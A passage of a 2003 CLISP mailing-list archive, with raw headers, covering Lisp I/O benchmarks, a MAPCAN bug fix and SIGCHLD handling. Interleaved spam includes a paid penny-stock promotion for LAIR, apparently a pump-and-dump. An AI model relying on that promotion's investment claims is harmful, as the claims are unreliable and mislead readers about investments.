#+CLISP T > :element-type 'character > :external-format charset:iso-8859-1) > (loop for line = (read-line stream nil nil) > for line-count from 0 > while line > finally return line-count)))) > > (compile 'test) > (time (test)) > ;;; Datei mit read-line lesen > Real time: 13.594 sec. > Run time: 13.171875 sec. > Space: 102802424 Bytes > GC: 196, GC time: 0.671875 sec. the two obvious alternatives: (let ((buf (make-array 10240 :element-type '(unsigned-byte 8))) (nl (char-code #\Newline))) (defun test1 (&optional (logfile "/var/log/XFree86.0.log")) (time (with-open-file (stream logfile :direction :input #+CLISP :buffered #+CLISP T :element-type '(unsigned-byte 8) :external-format charset:iso-8859-1) (loop for bytes = (read-byte-sequence buf stream) until (zerop bytes) sum (count nl buf :end bytes) into nl-count sum bytes into byte-count finally return (values nl-count byte-count)))))) (let ((buf (make-array 10240 :element-type 'character))) (defun test2 (&optional (logfile "/var/log/XFree86.0.log")) (time (with-open-file (stream logfile :direction :input #+CLISP :buffered #+CLISP T :element-type 'character :external-format charset:iso-8859-1) (loop for chars = (read-char-sequence buf stream) until (zerop chars) sum (count #\newline buf :end chars) into nl-count sum chars into char-count finally return (values nl-count char-count)))))) are about half as fast (take twice as much time!) as your version, but do almost no consing. > Note how Space is roughly twice the size of my logfile. that's bad - but it's the least problem. you can compile CLISP with profiling and see where it spends all the time. comparing the profiling output for your version and mine would be most instructive. (still faster that ACL 6.2!) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux A PC without Windows is like ice cream without ketchup. From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 07 08:40:04 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18hBXm-0007lW-00 for ; Fri, 07 Feb 2003 08:40:03 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 7 Feb 2003 17:39:52 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1GFFCS5J>; Fri, 7 Feb 2003 17:39:51 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01E2AC1D@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: fastest (character) based io with CLISP? - unicode is fast, p osition dead slow Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 7 08:41:02 2003 X-Original-Date: Fri, 7 Feb 2003 17:39:50 +0100 Sam wrote: >> Is character-based i/o much slower than using (unsigned-byte 8) >> (i.e. should I work on ASCII codes, emulate read-line etc.? >probably not. You are right, I did a loop on READ-BYTE-SEQUENCE and (POSITION 13 buffer) with and without EXT:convert-string-from-bytes. Times are almost the same, but GC is 100MB more (filesize 50MB). ;-- only position, without convert-from-bytes Real time: 36.578 sec. Run time: 36.21875 sec. Space: 266932 Bytes || ;-- using convert-string-from-bytes Real time: 38.797 sec. Run time: 38.234375 sec. Space: 102_593_868 Bytes GC: 12, GC time: 0.234375 sec. Note that without POSITION, I'd have huge speed improvements. Doing only READ-BYTE-SEQUENCE, I obtain: Real time: 2.375 sec. Run time: 2.140625 sec. Space: 70324 Bytes || and READ-BYTE-SEQUENCE with convert-string-from-bytes: Real time: 4.297 sec. Run time: 3.96875 sec. Space: 101270288 Bytes GC: 154, GC time: 0.3125 sec. 2 seconds unicode conversion overhead for 50MB of data is really acceptable. Generational GC makes throwing out 100MB of garbage acceptablably fast (I got a very different training a decade ago using CMUCL stop© GC). So maybe (EXT:STRING-POSITION character string :start :end) would be welcome? or EXT:POSITION-IN-STRING or POSITION-WITHIN-STRING or ?? >the two obvious alternatives: [...] >are about half as fast (take twice as much time!) as your version, but >do almost no consing. I thought I also posted a READ-BYTE-SEQUENCE loop, not using POSITION, with results in the order of 2-3 seconds? >(still faster that ACL 6.2!) Good news, but still not 1/10 the time of the perl program I'm targetting. If I only get 1/2 or 1/3 the perl speed, it's not impressive. Thanks and regards, Jorg Hohle. From bbrown@speakeasy.net Fri Feb 07 09:32:03 2003 Received: from mail17.speakeasy.net ([216.254.0.217] helo=mail.speakeasy.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18hCM6-0007tK-00 for ; Fri, 07 Feb 2003 09:32:02 -0800 Received: (qmail 1579 invoked from network); 7 Feb 2003 17:32:05 -0000 Received: from unknown (HELO loki.bibliotech.com.speakeasy.net) ([64.81.198.234]) (envelope-sender ) by mail17.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 7 Feb 2003 17:32:05 -0000 From: "Robert E. Brown" To: clisp-list@lists.sourceforge.net CC: sds@gnu.org Message-Id: Subject: [clisp-list] mapcan bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 7 09:42:44 2003 X-Original-Date: Fri, 07 Feb 2003 09:32:02 -0800 Using Allegro Common Lisp, CMUCL/SBCL, and Lispworks, the expression (mapcan #'identity (list 1)) evaluates to 1. My copy of CLISP produces NIL -- see transcript below. The CLHS seems to indicate that 1 is the correct result. bob ==================== loki <43> clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 [1]> (mapcan #'identity (list 1)) NIL [2]> From offer1@cfl.rr.com Fri Feb 07 09:48:58 2003 Received: from ms-smtp-01.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18hCcT-0002Rc-00 for ; Fri, 07 Feb 2003 09:48:57 -0800 Received: from david-congero (167.50.35.65.cfl.rr.com [65.35.50.167]) by ms-smtp-01.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h17HgOJ2001599 for ; Fri, 7 Feb 2003 12:48:55 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: The learning institute To: clisp-list@sourceforge.net Message-ID: <20032746134clisp-list@clisp.cons.org> Subject: [clisp-list] PROTECT YOURSELF Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 7 09:49:14 2003 X-Original-Date: Fri, 07 Feb 2003 12:48:54 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From offer1@cfl.rr.com Fri Feb 07 09:49:02 2003 Received: from ms-smtp-01.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18hCcW-0002Sb-00 for ; Fri, 07 Feb 2003 09:49:00 -0800 Received: from david-congero (167.50.35.65.cfl.rr.com [65.35.50.167]) by ms-smtp-01.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h17HgOJ3001599 for ; Fri, 7 Feb 2003 12:48:58 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: The learning institute To: clisp-list@sourceforge.net Message-ID: <20032746139clisp-list@clisp.cons.org> Subject: [clisp-list] PROTECT YOURSELF Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 7 09:50:11 2003 X-Original-Date: Fri, 07 Feb 2003 12:48:59 -0600 Would you like to know more about identity theft and the internet, and how to stop it? Simply reply to this email with " Identity Theft" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From kaz@footprints.net Fri Feb 07 10:22:45 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18hD8g-0008Bl-00 for ; Fri, 07 Feb 2003 10:22:14 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18hD8B-0000Uf-00; Fri, 07 Feb 2003 10:21:43 -0800 From: Kaz Kylheku To: "Robert E. Brown" cc: clisp-list@lists.sourceforge.net, In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: mapcan bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 7 10:23:06 2003 X-Original-Date: Fri, 7 Feb 2003 10:21:43 -0800 (PST) On Fri, 7 Feb 2003, Robert E. Brown wrote: > Date: Fri, 07 Feb 2003 09:32:02 -0800 > From: Robert E. Brown > To: clisp-list@lists.sourceforge.net > Cc: sds@gnu.org > Subject: [clisp-list] mapcan bug > > > Using Allegro Common Lisp, CMUCL/SBCL, and Lispworks, the expression > > (mapcan #'identity (list 1)) > > evaluates to 1. My copy of CLISP produces NIL -- see transcript below. The > > CLHS seems to indicate that 1 is the correct result. Indeed, CLHS says that mapcan and mapcon work as if NCONC were applied to the results of mapcar or maplist. So mapcan, in the abstract, obeys this equivalence: (defun mapcan (fun &rest lists) (apply #'nconc (apply #'mapcar fun lists))) if we ignore that there are practical limitations on the maximum argument list size which make this a bad actual implementation. So in your case, (mapcar #'identity (list 1)) would return (1), and so you have (apply #'nconc (1)) or (nconc 1), which produces 1. Not terribly useful, but you never know what might break if it doesn't work. From bbrown@speakeasy.net Fri Feb 07 11:53:34 2003 Received: from mail17.speakeasy.net ([216.254.0.217] helo=mail.speakeasy.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18hEZ4-000848-00 for ; Fri, 07 Feb 2003 11:53:34 -0800 Received: (qmail 10374 invoked from network); 7 Feb 2003 19:53:39 -0000 Received: from unknown (HELO loki.bibliotech.com.speakeasy.net) ([64.81.198.234]) (envelope-sender ) by mail17.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 7 Feb 2003 19:53:39 -0000 From: "Robert E. Brown" To: clisp-list@lists.sourceforge.net CC: Message-Id: Subject: [clisp-list] mapcon bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 7 11:54:05 2003 X-Original-Date: Fri, 07 Feb 2003 11:53:34 -0800 MAPCON suffers from the same bug. The expression (mapcon (constantly 1) (list 2)) should evaluate to 1, but instead NIL is returned. bob From orellanaweb@mixmail.com Fri Feb 07 15:49:02 2003 Received: from [210.121.206.26] (helo=dongnepc.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18hIEw-0005Yv-00 for ; Fri, 07 Feb 2003 15:49:02 -0800 Received: from mixmail.com (unverified [138.89.91.23]) by dongnepc.com (EMWAC SMTPRS 0.83) with SMTP id ; Sat, 08 Feb 2003 04:21:45 +0900 Message-ID: From: orellanaweb@mixmail.com To: clisp-list@lists.sourceforge.net X-Priority: 3 Content-Type: text/html Subject: [clisp-list] The BluePrint AOL and Microsoft use to advertise! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 7 15:50:02 2003 X-Original-Date: Sat, 08 Feb 2003 04:21:45 +0900

The blueprint for wealth on the web! no strings attached...
This remarkable booklet tells you how to achieve wealth. 
 
You've probably tried everything else: Classified ads,
Opt-in Lists, FFAs, Search Engines, Link Exchanges, Start-page programs,
Lead-clubs, and Surf4hits programs don't work at all! So, isn't it time
you moved on? 
 
Get your FREE copy of "The Untold Secrets to Wealth on the Web" today!
 
To receive a no holds barred Free Secrets
request by email: webfisher@mixmail com
 
Best regards,
Andrew
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~
Uninterested: Send a blank email and mail to:  no_mas_mail@mixmail.com
and put the word "R E M O V E" in the subject line.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~
From sds@gnu.org Sun Feb 09 14:24:19 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18hzs3-0000GJ-00 for ; Sun, 09 Feb 2003 14:24:19 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out001.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030209222412.BDGI23484.out001.verizon.net@loiso.podval.org>; Sun, 9 Feb 2003 16:24:12 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h19MO4cO012693; Sun, 9 Feb 2003 17:24:04 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h19MNrtf012450; Sun, 9 Feb 2003 17:23:53 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Robert E. Brown" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] mapcan bug References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [151.203.48.207] at Sun, 9 Feb 2003 16:24:12 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 9 14:25:03 2003 X-Original-Date: 09 Feb 2003 17:23:51 -0500 > * In message > * On the subject of "[clisp-list] mapcan bug" > * Sent on Fri, 07 Feb 2003 09:32:02 -0800 > * Honorable "Robert E. Brown" writes: > > Using Allegro Common Lisp, CMUCL/SBCL, and Lispworks, the expression > > (mapcan #'identity (list 1)) > > evaluates to 1. My copy of CLISP produces NIL -- see transcript below. The > CLHS seems to indicate that 1 is the correct result. fixed in the CVS. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux A PC without Windows is like ice cream without ketchup. From offer1@cfl.rr.com Mon Feb 10 15:39:52 2003 Received: from ms-smtp-01.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18iNWh-0004OV-00 for ; Mon, 10 Feb 2003 15:39:51 -0800 Received: from david-congero (167.50.35.65.cfl.rr.com [65.35.50.167]) by ms-smtp-01.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h1ANaMHA002932 for ; Mon, 10 Feb 2003 18:39:49 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: The learning institute To: clisp-list@sourceforge.net Message-ID: <200321067191clisp-list@clisp.cons.org> Subject: [clisp-list] PROTECT YOURSELF Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 10 15:40:08 2003 X-Original-Date: Mon, 10 Feb 2003 18:39:51 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From w4e456245@terra.com.br Wed Feb 12 06:40:30 2003 Received: from mail.axs2000.net ([209.120.196.43] helo=diskless5.axs2000.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18iy3p-0006nI-00 for ; Wed, 12 Feb 2003 06:40:29 -0800 Received: from ifsnet2.IFS (at39021.millenianet.com [141.151.39.21]) by diskless5.axs2000.net (8.11.2/8.11.2) with ESMTP id h1CEb2V28849; Wed, 12 Feb 2003 09:37:02 -0500 Received: from artattack.to (GATE [192.168.1.254]) by ifsnet2.IFS with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 1B5ARLP7; Wed, 12 Feb 2003 09:26:31 -0500 Message-ID: <000004b446a4$000024e3$00001567@demo.pl> To: Cc: , , , , From: "Dan Potter" MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Subject: [clisp-list] Stocks to Own L-Air (LAIR)11233 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 12 06:41:04 2003 X-Original-Date: Wed, 12 Feb 2003 06:31:13 -2000 Undervalued Weekly Reporter Initiates Coverage: OTCBB: LAIR UWR ALERT: Since September 11th traveling by air has become a combat zone. This Belgian airline carrier is taking over Sabena's once coveted Brussels hub, creating low-cost direct international routes and providing high quality service. With all of its competitive advantages L-AIR Holdings (OTC BB: LAIR) is destined to become the "JetBlue" (NASDAQ: BLU) of Europe. HOW TO BENEFIT FROM THE AIRLINE CARRIER/TRAVEL CRISIS BY INVESTING IN HIGH GROWTH SAFE, SECURE and PROFITABLE GLOBAL CARRIERS? L-Air Holdings, Inc. (OTC BB: LAIR) - US$20M in revenue immediately from its first three routes. Shares Outstanding-----------------22.305 Million Shares in DTC----------------------4.5 Million DTC shares m'gt friendly-------900k DTC management shares----------3.2 Million DTC shares in public float-----400k Recent Price-----------------------$0.185 Year Low/Hi------------------------$0.09 - $0.185 Visist Website at lair.com If you are a frequent or even some-time airline passenger then you already know how important it is to not only receive a low-priced fare, but to get the most expeditious and friendly customer service possible. This is where most international airline carriers have failed since September 11th. Now that war with Iraq is likely, further financial crisis at most of the major airlines is also likely. Alternative international air carriers flying under flags from countries not likely to be the target of terrorist attack are seeing their bookings increase dramatically. So who benefits from this? The airline carriers in countries such as Belgium, France, Norway and others that, can operate safely and securely within this framework, while not sacrificing customer service and satisfaction through pricing. That is one of the reasons why we believe L-Air Holdings, Inc. (OTCBB: LAIR) will succeed particularly well in the short term. Long-term we feel that the OTCBB: LAIR business model combined with implementation by its impressive management team and in-place financiers will bring much higher valuations to this stock. The Company's commitment to cost efficiencies and customer satisfaction is at the core of its business model, just like JetBlue (NASDAQ: JBLU), Southwest Air (NYSE: LUV), and easyJet.com, all of whom are very successful within their respective markets and industry leaders. This international carrier is on the path to success. Fortune Magazine recently stated that Southwest Airlines is the all-time #1 successful investment. We feel L-Air Holdings is on a similar path. As recently reported in SPEEDNEWS (speednews.com), the newsletter of record for the aviation industry, L-Air Holdings is in the process of acquiring a European airline, Belgium Universal Airways, in order to receive an AOC (air operations certificate). Within one-month of finalizing the acquisition currently being negotiated and receipt of its AOC, expected to be complete by March 1, 2003, LAIR will operate two Airbus A340-300 aircraft over three high-traffic routes. Contracts for these routes are in place with tour operators and other agencies providing an initial and immediate revenue stream of approximately US$400k weekly, or annualized revenues in excess of $20 million from existing contracts. Based in Brussels, Belgian Universal Airways, through direct ownership by OTCBB: LAIR, is being transformed into a low-priced passenger airline providing exceptional customer service, much like its USA based counterpart, JetBlue (NASDAQ: JBLU). The Company plans an aggressive expansion campaign as led by its capable ex-Sabena staff and management with its financier and 51% owner Universal Capital Partners (UCP). UCP has already spent over US$5 million and committed an additional US$10 million in cash to the Company's initial operating budget. UCP has also signed leases with major aircraft manufacturers to provide LAIR with at least 5-Airbus 340-300 aircraft by year-end. UCP is a majority shareholder of LAIR. LAIR expects to take delivery of the first two freshly painted jets in April 2003 with the following routes to be serviced: Route 1) Brussels -to- Puntancana (Caribbean - one of the heaviest European tourist destinations currently) Route 2) Yervena -to- LAX (Contracts with Armenian agency to provide this much needed service to be announced upon successful completion of acquisition) Route 3) Toronto -to- Montreal -to- Delhi, India (No competition on this highly lucrative and much needed route as of yet) Three additional Airbus 340's are to be acquired through leases in the Fall of 2003. The carrier proposes to launch new operations from its Brussels hub in April 2003. Ask anyone in the airline industry what is the most promising source of revenue growth with the current political situation and insurance cost nightmare for U.S. and other majors and many will agree that small carriers with high-traffic routes and good low maintenance cost aircraft are the key. Focusing on profitable long haul routes with low-cost maintenance jets, while providing exceptional customer satisfaction OTCBB: LAIR is one of these carriers. The Company's commitment to cost efficiencies and customer satisfaction is at the core of its business model, just like JetBlue (NASDAQ: JBLU), Southwest Air (NYSE: LUV), and easyJet.com all of whom are very successful within their respective markets and industry leaders. This international carrier is on the path to success. About the Co. - Belgian Universal Airways, OTCBB: LAIR Europe needs a safe and decent, well run Airline, managed by highly qualified and experienced staff, that will provide good service at a fair price for everyone. Since the closure of Sabena in 2001 (the Belgian National Airline) due to Swiss Air's bankruptcy (Swiss Air had recently bought Sabena), there has been a need to revive the once thriving wide International Flight Network based in Brussels. In addition, since the September 11 tragedy, carriers that are not terrorist targets are increasingly being called upon to pick up these routes. Through an acquisition of 49% of Belgian Universal Airways by OTCBB: LAIR, UCP and Sabena's Captain Raymond Nicolai are now preparing to meet this need. Universal Capital Partners (UCP) is currently negotiating with the airline to finalize an acquisition that will give UCP 51% ownership, while 49% will reside with OTCBB: LAIR. UCP is the single largest shareholder of OTCBB: LAIR currently. This structure is necessary to meet ownership requirements mandating that 51% of a European air carrier be European owned. Captain Raymond Nicolai has dedicated his life to Aviation since 1968. He is an ex-Belgian Air Force fighter pilot and is an instructor on many types of Aircraft including the company's chosen A340. Captain Nicolai is bringing many of the former Sabena management and staff that will comprise the bulk of the company's 100 plus in number workforce. These well trained ex-Sabena staff members are dedicated to the Company's (OTCBB: LAIR) mission of creating a new Belgian National Airline that represents excellence in all aspects, including on-time flights, the highest level of customer service, cost efficiencies in operations and maximization of profitability for its investors. With the addition of many new international direct routes to markets including Asia, Middle East, Africa, USA, Canada, Caribbean and Europe the Company has a better than average chance of achieving success due to the lack of any competition servicing these routes currently. Belgian Universal will operate a fleet of 5 Airbus A340-300 aircraft capable of seating 220 Economy seats, 30 Business class full comfort pitch seat, and 10 First class sleeperettes. All Belgian Universal's aircraft feature roomy all-leather seats each equipped with satellite phones and full individual multi-media systems capable of delivering many different forms of entertainment, including: a large selection of movies / videos, music (MP3 and other format), computer/video games, and the soon to be offered "on-board" Internet services. All available at every seat along with the many high quality amenities not found on existing air carriers competing with the Company (OTCBB: LAIR). With Belgian Universal, all seats are assigned, a good percentage of travel is ticketless, all fares are one-way, and a Saturday night stay is never required. For more information, schedules and fares, please visit Website at lair.com. Press releases, can be found on the website at lair.com. Airline industry experts agree that the most promising source of revenue growth with the current political situation and insurance cost nightmare for U.S. and other majors is within the group of small carriers with high-traffic routes and low-maintenance cost aircraft. Focusing on profitable long haul routes with low-cost maintenance jets, while providing exceptional customer service, OTCBB: LAIR is one of these carriers. The Company's commitment to cost efficiencies and customer satisfaction is at the core of its business model, just like JetBlue (NASDAQ: JBLU), Southwest Air (NYSE: LUV), and easyJet.com, all of whom are very successful within their respective markets and industry leaders. This international carrier is on the path to success. *** Special Financial-Stock Opt-in mailing list Offer *** As a member of our special financial opt-in mailing list, you will be among the first to receive up to the minute information regarding the companies we profile above as well as a free 10-day trial to a website with real-time Level II quotes, research reports, OTC BB promo / syndication calendar, trading chat rooms, full threading message boards, along with many other valuable and free investment tools not readily available to the general public. This is an incredible opportunity! Just click the link below to send us an email, and you will be immediately added to our Opt-in list. Please be sure that "opt-in" is in the subject line of the email. If opt-in is not in the subject line you will not be added. http://www.sanguostory.com/freetrail/ . Thank you. ****************************************************** ***********************Disclaimer******************** Information within this email contains "forward looking statements" within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the Securities Exchange Act of 1934. Any statements that express or involve discussions with respect to predictions, goals, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance are not statements of historical fact and may be "forward looking statements." Forward looking statements are based on expectations, estimates and projections at the time the statements are made that involve a number of risks and uncertainties which could cause actual results or events to differ materially from those presently anticipated. Forward looking statements in this action may be identified through the use of words such as: "projects", "foresee", "expects", "estimates," "believes," "understands" "will," "anticipates," or that by statements indicating certain actions "may," "could," or "might" occur. All information provided within this email pertaining to investing, stocks, securities must be understood as information provided and not investment advice. Emerging Equity Alert advises all readers and subscribers to seek advice from a registered professional securities representative before deciding to trade in stocks featured within this email. None of the material within this report shall be construed as any kind of investment advice. In compliance with the Securities Act of 1933, Section17(b), Undervalued Weekly Reporter discloses the receipt of 167,500 unrestricted shares of LAIR from a third party for the publication of this report. Be aware of an inherent conflict of interest resulting from such compensation due to our intent to profit from the liquidation of these shares. Shares may be sold at any time, even after positive statements have been made regarding the above company. All factual information in this report was gathered from public sources, including but not limited to SEC filings, Company Press Releases, and Market Guide. Undervalued Weekly Reporter believes this information to be reliable but can make no guarantee as to its accuracy or completeness. Use of the material within this email constitutes your acceptance of these terms. ****** Advertising Disclaimer ****** We have received monetary payment for this mailing service We hold no stocks and hold no personal interest in this company. ****** Remove instructions: This message has been sent to you in compliance with our strict anti-abuse regulations. We will continue to bring you valuable offers on the products and services that interest you most. If you do not wish to receive further mailings, please click below. You may then rest-assured that you will never receive another email from us again. We respect all removal requests. To be immediately removed from our mailing lists just click on this link: MailTo:kim18305@excite.com?subject=Delete This message is an advertisement. Copyright 2000, 2001, 2002 all rights reserved From kaz@footprints.net Wed Feb 12 16:26:04 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18j7C2-0002s4-00 for ; Wed, 12 Feb 2003 16:25:34 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18j7BT-0004NJ-00 for clisp-list@lists.sourceforge.net; Wed, 12 Feb 2003 16:24:59 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: <200210042309.g94N9AR9022573@van-halen.alma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Issue: SIG_IGN setting for SIGCHLD inherited by children of CLISP. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 12 16:27:01 2003 X-Original-Date: Wed, 12 Feb 2003 16:24:59 -0800 (PST) The problem with this is that normally, when you run programs from the shell, they get SIG_DFL, which has different behavior from SIG_IGN. The exec() system call causes SIG_IGN and SIG_DFL settings to be inherited by the new process image. On Linux, signal(SIGCHLD, SIG_IGN) seems to cause the waitpid() semantics described by the Single UNIX Specification. If the processes terminate before the waitpid() call is reached, they are reaped internally without becoming zombies. Then the waitpid() returns -1 with ECHILD. If the waitpid is reached while the child is still running, then waitpid() waits normally and returns the pid. This is a problem, because lots of programs---CVS being one example---are not written to defend against this obscure behavior and so the -1/ECHILD takes them by surprise; they just expect SIGCHLD to be SIG_DFL on startup. Sample run: [4]> (defvar *x* (ext::make-pipe-input-stream "./show-sig")) *X* [5]> (read-line *x*) "SIGCHLD == SIG_IGN" The ext::run-program function is not affected (on the system I'm using), because it is based on the system() function which indirects through the shell. The shell is probably written defensively against inheriting bad signal settings, so everything is cool. /* showsig source code */ #include #include int main(void) { void 